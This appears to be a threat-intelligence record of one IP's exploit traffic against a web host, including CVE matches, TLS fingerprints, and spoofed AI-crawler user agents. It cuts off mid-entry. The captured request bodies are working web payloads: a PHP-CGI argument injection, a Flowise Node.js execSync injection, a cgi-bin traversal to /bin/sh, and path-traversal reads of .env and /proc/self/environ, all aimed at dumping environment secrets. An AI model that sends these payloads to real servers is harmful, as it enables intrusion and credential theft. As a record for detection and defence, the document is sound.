{"ip":"35.200.4.186","observed":true,"total_events":402,"verdict":{"verdict":"malicious","label":"Exploit attempts observed","detail":"73 exploit-path hits","confidence":"high","network_type":null,"why":["73 request(s) matched a known exploit path.","Body-carrying methods (POST/PUT/PATCH/DELETE) seen: payload delivery, not just recon.","5+ hits raise confidence to high.","Not in any known-scanner range.","Sent 2,432,961 bytes: sustained payload delivery, not a single opportunistic request."],"engagement":{"level":"payload","label":"Sustained payload","detail":"2,432,961 bytes sent","bytes_sent":2432961,"session_seconds":23,"persistent":false},"basis":"first_contact"},"first_seen":"2026-10-14T09:27:34","last_seen":"2026-10-14T09:28:00","events_24h":402,"events_7d":402,"interactive_sessions":0,"interactive_sessions_24h":0,"interactive_sessions_7d":0,"interactive_protocols":[],"geo":{"country_code":"JP","country_name":"Japan","region":"Tokyo","city":"Tokyo","lat":35.6893,"lon":139.6899,"asn":396982,"org":"Google LLC"},"source_domain":"186.4.200.35.bc.googleusercontent.com","known_scanners":[],"scanner_tag":{"key":"gcp","label":"Google Cloud","category":"hosting_provider","url":"https://cloud.google.com/"},"cve_matches":[{"cve_id":"CVE-2022-22963","title":"Spring Cloud - Remote Code Execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/functionRouter"},{"cve_id":"CVE-2024-4577","title":"PHP CGI - Argument Injection","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/php-cgi/php-cgi.exe"},{"cve_id":"CVE-2021-43798","title":"Grafana v8.x - Arbitrary File Read","severity":"high","actively_exploited":true,"match_field":"url_path","matched_pattern":"/public/plugins"},{"cve_id":"CVE-2026-33017","title":"Langflow < 1.9.0 - Remote Code Execution","severity":"CRITICAL","actively_exploited":true,"match_field":"url_path","matched_pattern":"/api/v1/build_public_tmp/00000000-0000-0000-0000-000000000000/flow"},{"cve_id":"CVE-2026-85688","title":"TEN Framework - Arbitrary File Read & Write","severity":"critical","actively_exploited":false,"match_field":"url_path","matched_pattern":"/api/designer/v1/file-content"},{"cve_id":"CVE-2026-23536","title":"Feast Feature Server <=0.58.0 - Arbitrary File Read","severity":"high","actively_exploited":false,"match_field":"url_path","matched_pattern":"/read-document"},{"cve_id":"CVE-2026-89013","title":"Dolibarr < 24.0.0 - Authorization Bypass via hashp Parameter","severity":"high","actively_exploited":false,"match_field":"url_path","matched_pattern":"/document.php"},{"cve_id":"CVE-2024-56159","title":"Astro - Information Disclosure","severity":"medium","actively_exploited":false,"match_field":"url_path","matched_pattern":"/pages/index.astro.mjs.map"}],"malware":[],"udp":null,"interaction":null,"top_ports":[{"port":443,"proto":"tcp","label":"HTTPS","count":402}],"fingerprints":{"ssh_hassh":[],"tls_ja4":["t13d1516h2_8daaf6152771_d8a2da3f94cd"],"tls_client_hello":"16030106bb010006b70303ff65858353fc2b360c99dad10c2d832744d249b6294a014a1145a831b1390334203cd370385844179e7495e08f660b349b5a1a27d88a43e80782ad95f246ba54cb00207a7a130113021303c02bc02fc02cc030cca9cca8c013c014009c009d002f00350100064efafa0000002b0007063a3a0304030300000017001500001273697465732e7072696e636875622e636f6d001b000302000200170000002d0002010100230000fe0d00ba0000010001c5002035da93b213ba8a81e6f81a2fc41bc2e0b93d9b05917e37bc934fe602e96d443f0090032d560177d7750dc71ffea77670e039575b56b91ce5383e8d068e80954b6c503a35fa80fe25b1fff9ed34e01abe520663d8647b1c42bba1b41eec1ef0f2943a22cd1bc971b1be5c06e7be26d87027f5de8d12bda8035379ccb9eec03ed97c433b9e2cc3b4358a1a039759d32db2b21b8fc671723572450ef32bbdb531fc3b0dba1cd774a2f0c929b4ca2dfb7c606b600010000e000c02683208687474702f312e3100120000000d0012001004030804040105030805050108060601003304ef04edfafa00010011ec04c0618c96a838a66d743e9238932a45be25a08cfddb55ccb68bdc4748f81c03cff03f1c6830c558c94817223eb92afa7369f28448dfa62ffb2c345c193a82b926e7826314ac6ce6387dbd830333f36e258564480394bc927a5ab8803dcc28c03613226343ffa322fea7314782517326ac6797998ec20c3184bac6b43e9d389c75a5b85154950a767c3cd0233cab0f2de6b22b092e93a2c362e23a0ff521b377b90272c9be501d034aa1e090268050ca9d3824fb047a66bb9aee76a7599421ef922acd66cf7bfcbf008b43f450268b377c442b8148b0970d7a26148c1abd337b9366c6630008d2e86d46a8393ad580e36a4578910e5151ae6c839f6f390818b236edd23f8004194c0120a2ec51240a5bae7b36c092b1e066acff475e1de93ede13087771ab0a5169249c79967cc8e0a004f6b5b4c2c24888e033cf7aad47d88e637027ac5069729994d1b5c73c7376a66a927f61adced979a7577b77996d300285145a0082ac39ce3a7850d491e313356102409d1c7336da41b3e786d181a7a3daa20e21c7dd69819a848f8ba5c452ba14f1a85e96490bb0146708728949c87347893f2143939f179a68ea30d61bb83a12728a405721253be27230490c0869597426600143e84d07d522deb8b9071928ebb67544fb82e7cc1f8c100ff86603b9f0a25bb7bc612914c96620ffb0802de77cc26c19bc305b52bc01ea15cf30618a1f72349fb8269fb378c6b607d6e48ae2491cad5b1255e166d524563ee555eb64ad74388c6b47a5fbd47d3abb5c5d3c6091d9ac85803a8d09126b73c08f067928e06072441fed31b7750615510339a2c148ac235b66600f4ef0766c49bb38e862d18ba1f5889827945ffe2170d6134a6093743d98358de2c0460708ddfc97251a24b86c948b08a0bd7b713c2a8de1b25581522478273737c46ca9840d6c8acb9c99487992382e7143f11659da908f8026c1a331b0226306e40863e3f13436356a87b9238d4b9126db06ccfa51455b2e974085ff075e945753c28b46734c2e39c5ab457a78af7871409cbde50c9ac03bc575f746aafba736678bb2e76f20c191a1398ace731bdcb72938054ce74b849760ca003721ef973dbf13155ca384f8b2715ccc0e77206fc63608ae7521052446a5651cacaa41fb0607a8f8b461bb0bd5b68ed46a72854006702961ec46c85dea80d94639771cccdc6871c61a658b1102bab812a2d9016aa425670897d9a1660f233ccee55a252b2a46486f4c019a2a846c3bbb14728b4a197b7e69e0731e267601374a1c733d170bd052574d074c667c8c2c84959b59768dd002cab0c695b7f981c0aa1fa29681807c702e72148d7385e974b1d86a520d7aa9d05246eec3bd138668c04c1a2132b17e33afbbba78e704c76ac7979e45b5002d63d400ccc594c856ca960bc9436ff2814f47068aa53921889e5015227851a725d04c343477fce860c7f22fb84819153b85b3e98eaa524882a14a7ef2cd95d61c7132ca64acaec48339c4a54e74c32573866a75a3b23d14c48391a445ac89abea417a31a5bae58979e85c04b384cb688356113a49a56b5c2c56c7605e91039d98638807f91d11968b04051cedda43c7915ee1514e5f84bde3848201901e76ec23caa1c2b86a9d1059a21307ba51bd5192647bbc2a8431bc24eade2fdb6b7653e5b29364ea3a333472099672090cae782fa7a6370ba89213cd2046001d00200233d00017b299e13b2931abe6f8b9edf2271e1f23d2ccc1c458b7cbbf0a0608000a000c000afafa11ec001d0017001800050005010000000044cd00050003026832ff01000100000b00020100aaaa0001","tls_ja3":["beb85c064687d96972d9340a47321ed5","176222b4370d2072f9164e0f6f340173","6a9fc348d45a6f003f573203114616ea","47e7e6f1aec0d441884b696cd86e7f66","8527ed9c699b86becf0c14e89b3faba3"],"http_akin":["b11cun062_00040016_84d4cebf_xce00d0f1","b11cun162_000c73fe_fe528c8e_xce00d0f1","b11cuq082_00050816_8184102b_xd0f1e7f3","b11cuq150_10057dde_0ef1dcbb","b11cuq050_00050812_107c8b82"]},"fingerprint_peers":{"t13d1516h2_8daaf6152771_d8a2da3f94cd":29,"b11cun062_00040016_84d4cebf_xce00d0f1":23,"b11cun162_000c73fe_fe528c8e_xce00d0f1":23,"b11cuq082_00050816_8184102b_xd0f1e7f3":18,"b11cuq150_10057dde_0ef1dcbb":23,"b11cuq050_00050812_107c8b82":110},"akin_families":{"b11cuq082_00050816_8184102b_xd0f1e7f3":{"head":"b11cuq050_00050812_107c8b82","shapes":4,"ips":110},"b11cuq050_00050812_107c8b82":{"head":"b11cuq050_00050812_107c8b82","shapes":4,"ips":110}},"user_agents":["DuckAssistBot/1.1 (https://duckduckgo.com/duckassistbot)","Mozilla/5.0 (compatible; DeepSeekBot/1.0; +https://www.deepseek.com/)","Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)","Mozilla/5.0 (compatible; cohere-ai; +https://cohere.com/crawler)","Mozilla/5.0 (compatible; MoonshotBot/1.0; +https://kimi.ai/)","Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)","Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/153.0.0.0 Safari/537.36","Mozilla/5.0 (compatible; ChatGLM-Spider/1.0; +https://zhipuai.cn/)"],"timeline":[{"date":"2026-10-14","count":402}],"recent_events":[{"timestamp":"2026-10-14T09:28:00","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"sites.princhub.com","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"141\",\"content-type\":\"application/x-www-form-urlencoded\",\"host\":\"sites.princhub.com\",\"user-agent\":\"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)\"}","body":"code=aW1wb3J0IG9zOyByYWlzZSBFeGNlcHRpb24ob3MucG9wZW4oJ2VudiAyPi9kZXYvbnVsbCB8fCBjYXQgL3Byb2Mvc2VsZi9lbnZpcm9uIDI-L2Rldi9udWxsJykucmVhZCgpKQ==","sni":"sites.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/exec-py","summary":"","payload_hex":"504f5354202f657865632d707920485454502f312e310d0a486f73743a2073697465732e7072696e636875622e636f6d0d0a557365722d4167656e743a204d6f7a696c6c612f352e30204170706c655765624b69742f3533372e333620284b48544d4c2c206c696b65204765636b6f3b20636f6d70617469626c653b20436c61756465426f742f312e303b202b636c61756465626f7440616e7468726f7069632e636f6d290d0a436f6e74656e742d4c656e6774683a203134310d0a436f6e74656e742d547970653a206170706c69636174696f6e2f782d7777772d666f726d2d75726c656e636f6465640d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a636f64653d6157317762334a304947397a4f79427959576c7a5a53424665474e6c634852706232346f62334d75634739775a57346f4a325675646941795069396b5a585976626e5673624342386643426a595851674c33427962324d76633256735a69396c626e5a70636d39754944492d4c32526c64693975645778734a796b75636d56685a4367704b513d3d","method":"POST","user_agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","ja3":"490838da9af5a430b4c8851455128246","session":"5cb0823c-a8f0-478a-aa5d-03480915c5f8","seq":62,"duration_ms":23118,"bytes_in":24351,"bytes_out":4774},{"timestamp":"2026-10-14T09:27:59","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"sites.princhub.com","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"52\",\"content-type\":\"application/json\",\"host\":\"sites.princhub.com\",\"user-agent\":\"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexity-user)\"}","body":"{\"files\":{\"data\":[{\"filepath\":\"../../../../.env\"}]}}","sni":"sites.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/form/","summary":"","payload_hex":"504f5354202f666f726d2f20485454502f312e310d0a486f73743a2073697465732e7072696e636875622e636f6d0d0a557365722d4167656e743a204d6f7a696c6c612f352e30204170706c655765624b69742f3533372e333620284b48544d4c2c206c696b65204765636b6f3b20636f6d70617469626c653b20506572706c65786974792d557365722f312e303b202b68747470733a2f2f706572706c65786974792e61692f706572706c65786974792d75736572290d0a436f6e74656e742d4c656e6774683a2035320d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a7b2266696c6573223a7b2264617461223a5b7b2266696c6570617468223a222e2e2f2e2e2f2e2e2f2e2e2f2e656e76227d5d7d7d","method":"POST","user_agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexity-user)","ja3":"490838da9af5a430b4c8851455128246","session":"5cb0823c-a8f0-478a-aa5d-03480915c5f8","seq":61,"duration_ms":22744,"bytes_in":23948,"bytes_out":4697},{"timestamp":"2026-10-14T09:27:59","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"sites.princhub.com","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"54\",\"content-type\":\"application/json\",\"host\":\"sites.princhub.com\",\"user-agent\":\"Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)\"}","body":"{\"files\":{\"data\":[{\"filepath\":\"/proc/self/environ\"}]}}","sni":"sites.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/webhook/","summary":"","payload_hex":"504f5354202f776562686f6f6b2f20485454502f312e310d0a486f73743a2073697465732e7072696e636875622e636f6d0d0a557365722d4167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b20476f6f676c65626f742f322e313b202b687474703a2f2f7777772e676f6f676c652e636f6d2f626f742e68746d6c290d0a436f6e74656e742d4c656e6774683a2035340d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a7b2266696c6573223a7b2264617461223a5b7b2266696c6570617468223a222f70726f632f73656c662f656e7669726f6e227d5d7d7d","method":"POST","user_agent":"Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)","ja3":"490838da9af5a430b4c8851455128246","session":"5cb0823c-a8f0-478a-aa5d-03480915c5f8","seq":59,"duration_ms":21980,"bytes_in":23332,"bytes_out":4543},{"timestamp":"2026-10-14T09:27:59","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"sites.princhub.com","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"52\",\"content-type\":\"application/json\",\"host\":\"sites.princhub.com\",\"user-agent\":\"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)\"}","body":"{\"files\":{\"data\":[{\"filepath\":\"../../../../.env\"}]}}","sni":"sites.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/webhook-test/","summary":"","payload_hex":"504f5354202f776562686f6f6b2d746573742f20485454502f312e310d0a486f73743a2073697465732e7072696e636875622e636f6d0d0a557365722d4167656e743a204d6f7a696c6c612f352e30204170706c655765624b69742f3533372e333620284b48544d4c2c206c696b65204765636b6f3b20636f6d70617469626c653b20436c61756465426f742f312e303b202b636c61756465626f7440616e7468726f7069632e636f6d290d0a436f6e74656e742d4c656e6774683a2035320d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a7b2266696c6573223a7b2264617461223a5b7b2266696c6570617468223a222e2e2f2e2e2f2e2e2f2e2e2f2e656e76227d5d7d7d","method":"POST","user_agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","ja3":"490838da9af5a430b4c8851455128246","session":"5cb0823c-a8f0-478a-aa5d-03480915c5f8","seq":60,"duration_ms":22361,"bytes_in":23634,"bytes_out":4620},{"timestamp":"2026-10-14T09:27:58","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"sites.princhub.com","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"54\",\"content-type\":\"application/json\",\"host\":\"sites.princhub.com\",\"user-agent\":\"Mozilla/5.0 (compatible; Bravebot/1.0; +https://brave.com/search/)\"}","body":"{\"files\":{\"data\":[{\"filepath\":\"/proc/self/environ\"}]}}","sni":"sites.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/form/","summary":"","payload_hex":"504f5354202f666f726d2f20485454502f312e310d0a486f73743a2073697465732e7072696e636875622e636f6d0d0a557365722d4167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b204272617665626f742f312e303b202b68747470733a2f2f62726176652e636f6d2f7365617263682f290d0a436f6e74656e742d4c656e6774683a2035340d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a7b2266696c6573223a7b2264617461223a5b7b2266696c6570617468223a222f70726f632f73656c662f656e7669726f6e227d5d7d7d","method":"POST","user_agent":"Mozilla/5.0 (compatible; Bravebot/1.0; +https://brave.com/search/)","ja3":"490838da9af5a430b4c8851455128246","session":"5cb0823c-a8f0-478a-aa5d-03480915c5f8","seq":58,"duration_ms":21577,"bytes_in":23064,"bytes_out":4466},{"timestamp":"2026-10-14T09:27:58","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"sites.princhub.com","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"54\",\"content-type\":\"application/json\",\"host\":\"sites.princhub.com\",\"user-agent\":\"Mozilla/5.0 (compatible; Meta-WebIndexer/1.0; +https://developers.facebook.com/docs/sharing/webmasters/crawler)\"}","body":"{\"files\":{\"data\":[{\"filepath\":\"/proc/self/environ\"}]}}","sni":"sites.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/webhook-test/","summary":"","payload_hex":"504f5354202f776562686f6f6b2d746573742f20485454502f312e310d0a486f73743a2073697465732e7072696e636875622e636f6d0d0a557365722d4167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b204d6574612d576562496e64657865722f312e303b202b68747470733a2f2f646576656c6f706572732e66616365626f6f6b2e636f6d2f646f63732f73686172696e672f7765626d6173746572732f637261776c6572290d0a436f6e74656e742d4c656e6774683a2035340d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a7b2266696c6573223a7b2264617461223a5b7b2266696c6570617468223a222f70726f632f73656c662f656e7669726f6e227d5d7d7d","method":"POST","user_agent":"Mozilla/5.0 (compatible; Meta-WebIndexer/1.0; +https://developers.facebook.com/docs/sharing/webmasters/crawler)","ja3":"490838da9af5a430b4c8851455128246","session":"5cb0823c-a8f0-478a-aa5d-03480915c5f8","seq":57,"duration_ms":21213,"bytes_in":22805,"bytes_out":4389},{"timestamp":"2026-10-14T09:27:57","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"sites.princhub.com","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"90\",\"content-type\":\"text/plain\",\"host\":\"sites.princhub.com\",\"user-agent\":\"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; GPTBot/1.4; +https://openai.com/gptbot\"}","body":"echo Content-Type: text/plain; echo; env 2>/dev/null || cat /proc/self/environ 2>/dev/null","sni":"sites.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh","summary":"","payload_hex":"504f5354202f6367692d62696e2f2e2532652f2e2532652f2e2532652f2e2532652f2e2532652f2e2532652f2e2532652f2e2532652f2e2532652f2e2532652f62696e2f736820485454502f312e310d0a486f73743a2073697465732e7072696e636875622e636f6d0d0a557365722d4167656e743a204d6f7a696c6c612f352e30204170706c655765624b69742f3533372e333620284b48544d4c2c206c696b65204765636b6f293b20636f6d70617469626c653b20475054426f742f312e343b202b68747470733a2f2f6f70656e61692e636f6d2f677074626f740d0a436f6e74656e742d4c656e6774683a2039300d0a436f6e74656e742d547970653a20746578742f706c61696e0d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a6563686f20436f6e74656e742d547970653a20746578742f706c61696e3b206563686f3b20656e7620323e2f6465762f6e756c6c207c7c20636174202f70726f632f73656c662f656e7669726f6e20323e2f6465762f6e756c6c","method":"POST","user_agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; GPTBot/1.4; +https://openai.com/gptbot","ja3":"490838da9af5a430b4c8851455128246","session":"5cb0823c-a8f0-478a-aa5d-03480915c5f8","seq":54,"duration_ms":20111,"bytes_in":21541,"bytes_out":4158},{"timestamp":"2026-10-14T09:27:57","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"sites.princhub.com","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"211\",\"content-type\":\"application/json\",\"host\":\"sites.princhub.com\",\"user-agent\":\"Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)\"}","body":"{\"loadMethod\":\"listActions\",\"inputs\":{\"mcpServerConfig\":\"({x:(function(){return process.mainModule.require('child_process').execSync('env 2>/dev/null || cat /proc/self/environ 2>/dev/null').toString();})()} )\"}}","sni":"sites.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/api/v1/node-load-method/customMCP","summary":"","payload_hex":"504f5354202f6170692f76312f6e6f64652d6c6f61642d6d6574686f642f637573746f6d4d435020485454502f312e310d0a486f73743a2073697465732e7072696e636875622e636f6d0d0a557365722d4167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b20476f6f676c65626f742f322e313b202b687474703a2f2f7777772e676f6f676c652e636f6d2f626f742e68746d6c290d0a436f6e74656e742d4c656e6774683a203231310d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a7b226c6f61644d6574686f64223a226c697374416374696f6e73222c22696e70757473223a7b226d6370536572766572436f6e666967223a22287b783a2866756e6374696f6e28297b72657475726e2070726f636573732e6d61696e4d6f64756c652e7265717569726528276368696c645f70726f6365737327292e6578656353796e632827656e7620323e2f6465762f6e756c6c207c7c20636174202f70726f632f73656c662f656e7669726f6e20323e2f6465762f6e756c6c27292e746f537472696e6728293b7d2928297d2029227d7d","method":"POST","user_agent":"Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)","ja3":"490838da9af5a430b4c8851455128246","session":"5cb0823c-a8f0-478a-aa5d-03480915c5f8","seq":55,"duration_ms":20488,"bytes_in":21992,"bytes_out":4235},{"timestamp":"2026-10-14T09:27:57","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"sites.princhub.com","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"211\",\"content-type\":\"application/json\",\"host\":\"sites.princhub.com\",\"user-agent\":\"Mozilla/5.0 (compatible; Meta-ExternalAgent/1.0; +https://developers.facebook.com/docs/sharing/webmasters/crawler)\"}","body":"{\"loadMethod\":\"listActions\",\"inputs\":{\"mcpServerConfig\":\"({x:(function(){return process.mainModule.require('child_process').execSync('env 2>/dev/null || cat /proc/self/environ 2>/dev/null').toString();})()} )\"}}","sni":"sites.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/flowise/api/v1/node-load-method/customMCP","summary":"","payload_hex":"504f5354202f666c6f776973652f6170692f76312f6e6f64652d6c6f61642d6d6574686f642f637573746f6d4d435020485454502f312e310d0a486f73743a2073697465732e7072696e636875622e636f6d0d0a557365722d4167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b204d6574612d45787465726e616c4167656e742f312e303b202b68747470733a2f2f646576656c6f706572732e66616365626f6f6b2e636f6d2f646f63732f73686172696e672f7765626d6173746572732f637261776c6572290d0a436f6e74656e742d4c656e6774683a203231310d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a7b226c6f61644d6574686f64223a226c697374416374696f6e73222c22696e70757473223a7b226d6370536572766572436f6e666967223a22287b783a2866756e6374696f6e28297b72657475726e2070726f636573732e6d61696e4d6f64756c652e7265717569726528276368696c645f70726f6365737327292e6578656353796e632827656e7620323e2f6465762f6e756c6c207c7c20636174202f70726f632f73656c662f656e7669726f6e20323e2f6465762f6e756c6c27292e746f537472696e6728293b7d2928297d2029227d7d","method":"POST","user_agent":"Mozilla/5.0 (compatible; Meta-ExternalAgent/1.0; +https://developers.facebook.com/docs/sharing/webmasters/crawler)","ja3":"490838da9af5a430b4c8851455128246","session":"5cb0823c-a8f0-478a-aa5d-03480915c5f8","seq":56,"duration_ms":20854,"bytes_in":22493,"bytes_out":4312},{"timestamp":"2026-10-14T09:27:56","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"sites.princhub.com","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"64\",\"content-type\":\"application/x-www-form-urlencoded\",\"host\":\"sites.princhub.com\",\"user-agent\":\"DuckAssistBot/1.1 (https://duckduckgo.com/duckassistbot)\"}","body":"<?php echo shell_exec('env 2>/dev/null || set 2>nul'); die(); ?>","sni":"sites.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/cgi-bin/php-cgi?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp://input","summary":"","payload_hex":"504f5354202f6367692d62696e2f7068702d6367693f2d642b616c6c6f775f75726c5f696e636c7564652533646f6e2b2d642b6175746f5f70726570656e645f66696c652533647068703a2f2f696e70757420485454502f312e310d0a486f73743a2073697465732e7072696e636875622e636f6d0d0a557365722d4167656e743a204475636b417373697374426f742f312e31202868747470733a2f2f6475636b6475636b676f2e636f6d2f6475636b617373697374626f74290d0a436f6e74656e742d4c656e6774683a2036340d0a436f6e74656e742d547970653a206170706c69636174696f6e2f782d7777772d666f726d2d75726c656e636f6465640d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a3c3f706870206563686f207368656c6c5f657865632827656e7620323e2f6465762f6e756c6c207c7c2073657420323e6e756c27293b2064696528293b203f3e","method":"POST","user_agent":"DuckAssistBot/1.1 (https://duckduckgo.com/duckassistbot)","ja3":"490838da9af5a430b4c8851455128246","session":"5cb0823c-a8f0-478a-aa5d-03480915c5f8","seq":52,"duration_ms":19352,"bytes_in":20754,"bytes_out":4004}],"http_methods":[{"method":"GET","count":358},{"method":"POST","count":41},{"method":"DELETE","count":3}],"distinct_ports_total":1,"top_paths":[{"path":"/form/","count":2,"ports":1},{"path":"/feast/read-document","count":2,"ports":1},{"path":"/read-document","count":2,"ports":1},{"path":"/","count":2,"ports":1},{"path":"/api/designer/v1/file-content","count":2,"ports":1},{"path":"/api/templates/preview","count":2,"ports":1},{"path":"/webhook-test/","count":2,"ports":1},{"path":"/firebase-credentials.json","count":1,"ports":1},{"path":"/docker-compose.override.yml","count":1,"ports":1},{"path":"/serverless.yaml","count":1,"ports":1},{"path":"/.env.live","count":1,"ports":1},{"path":"/functionRouter","count":1,"ports":1},{"path":"/static//app/.env","count":1,"ports":1},{"path":"/.cargo/credentials.toml","count":1,"ports":1},{"path":"/api/v1/validate/code","count":1,"ports":1}],"distinct_paths_total":200,"top_snis":[{"value":"sites.princhub.com","count":402}],"top_hosts":[{"value":"sites.princhub.com","count":402}],"top_alpns":[{"value":"h2, http/1.1","count":402}],"banners":[],"credentials":[{"username":"","password":"bypass","count":2}],"header_profile":{"signature":["Accept-Encoding","Content-Length","Content-Type","Host","User-Agent"],"representative":[{"name":"Accept-Encoding","value":"gzip","notable":false},{"name":"Content-Length","value":"141","notable":false},{"name":"Content-Type","value":"application/x-www-form-urlencoded","notable":true},{"name":"Host","value":"sites.princhub.com","notable":false},{"name":"User-Agent","value":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","notable":false}],"distinct_sets":1,"events_with_headers":10},"tags":[{"tag_id":"CVE-2022-22963","tag_type":"cve","title":"Spring Cloud - Remote Code Execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/functionRouter","reference_urls":["https://github.com/spring-cloud/spring-cloud-function/commit/0e89ee27b2e76138c16bcba6f4bca906c4f3744f","https://github.com/cckuailong/spring-cloud-function-SpEL-RCE","https://tanzu.vmware.com/security/cve-2022-22963","https://nsfocusglobal.com/spring-cloud-function-spel-expression-injection-vulnerability-alert/","https://github.com/vulhub/vulhub/tree/scf-spel/spring/spring-cloud-function-spel-injection"]},{"tag_id":"CVE-2024-4577","tag_type":"cve","title":"PHP CGI - Argument Injection","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/php-cgi/php-cgi.exe","reference_urls":["https://s4e.io/tools/php-cgi-code-injection-cve-2024-4577","http://www.openwall.com/lists/oss-security/2024/06/07/1","https://blog.orange.tw/2024/06/cve-2024-4577-yet-another-php-rce.html","https://cert.be/en/advisory/warning-php-remote-code-execution-patch-immediately"]},{"tag_id":"CVE-2021-43798","tag_type":"cve","title":"Grafana v8.x - Arbitrary File Read","severity":"high","actively_exploited":true,"match_field":"url_path","matched_pattern":"/public/plugins","reference_urls":["https://github.com/grafana/grafana/security/advisories/GHSA-8pjx-jj86-j47p","https://nosec.org/home/detail/4914.html","https://github.com/jas502n/Grafana-VulnTips","https://nvd.nist.gov/vuln/detail/CVE-2021-43798","http://packetstormsecurity.com/files/165198/Grafana-Arbitrary-File-Reading.html"]},{"tag_id":"CVE-2026-33017","tag_type":"cve","title":"Langflow < 1.9.0 - Remote Code 